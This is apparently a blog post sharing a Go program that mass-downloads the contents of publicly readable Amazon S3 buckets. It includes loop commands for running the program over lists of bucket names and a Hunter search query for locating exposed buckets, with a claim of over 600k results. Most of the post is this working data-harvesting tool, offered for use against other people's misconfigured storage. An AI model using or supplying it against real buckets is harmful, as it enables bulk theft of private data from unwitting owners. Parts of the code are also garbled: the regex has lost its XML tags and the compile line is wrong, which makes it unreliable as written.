Amazon AWS S3 (Simple Storage Service) bucket is a cloud-based storage container used to store and manage data.
It can hold any type of file (such as documents, images, videos) and is scalable, meaning you can store as much data as you need.
S3 buckets are highly reliable, secure, and accessible from anywhere via the internet
Usually well-configured S3 buckets are managed with the aws cli tool and require an aws account.
BUT for buckets with public-read access you just don't need one and the object index can be viewed by a single get request to the root URL,
preseted as an easy scrapable XML file and comfortably viewable with a web broswer.
To dump all this exposed data, i wrote this.
Code taken from my repository
package main
import (
"io"
"os"
"fmt"
"regexp"
"net/http"
"path/filepath"
"strings"
)
func main() {
var bucket, URL string
bucket = os.Args[1]
if strings.HasPrefix(bucket, "https://") {
URL = bucket
bucket = strings.TrimPrefix(bucket, "https://")
if strings.HasSuffix(bucket, "/") { bucket = strings.TrimSuffix(bucket, "/") }
} else { URL = fmt.Sprintf("https://%s.s3.amazonaws.com/", bucket) }
client := &http.Client{ Transport: &http.Transport{}, }
req, _ := http.NewRequest("GET", URL, nil)
req.Header.Set("User-Agent", "Mozilla/5.0")
resp, _ := client.Do(req)
defer resp.Body.Close()
if resp.StatusCode!=200 {
fmt.Println("Code:", resp.StatusCode)
return
}
fmt.Println("Valid Bucket!", bucket)
re := regexp.MustCompile("(.*?)")
body, _ := io.ReadAll(resp.Body)
keys := re.FindAllStringSubmatch(string(body), -1)
for _, key := range keys {
fmt.Print("\nDownloading ", bucket+"/"+key[1])
os.MkdirAll(bucket+"/"+filepath.Dir(key[1]), os.ModePerm)
req, _ := http.NewRequest("GET", URL+key[1], nil)
req.Header.Set("User-Agent", "Mozilla/5.0")
resp, _ := client.Do(req)
defer resp.Body.Close()
if resp.StatusCode!=200 { // could be denied access to that specific resource or rate limit
fmt.Print(" ", resp.StatusCode)
continue
}
content, _ :=io.ReadAll(resp.Body)
file, err := os.Create(bucket+"/"+key[1])
if err != nil { fmt.Print(" Error") }
file.Write(content)
file.Close()
}
fmt.Println()
}
Compile: go build cholo.go && chmod +x cholo.go
Usage Examples
while IFS= read -r bucket; do ./cholo "$bucket" 2>/dev/null; done < buckets.txt
./cholo bucketname
./cholo https://s3.bucketname.com/
Looking for vulnerable targets
web.body=="listbucketresult" is our hunter query since that's the most recognizable word.
Feel free to add other keywords to find more specific results/files or edit the code.
[*] hunter_results.png
We can see more than 600k results, crazy.
Many results of the exposed data couldn't be classified as sensitive, they're just client-sided web assets... right?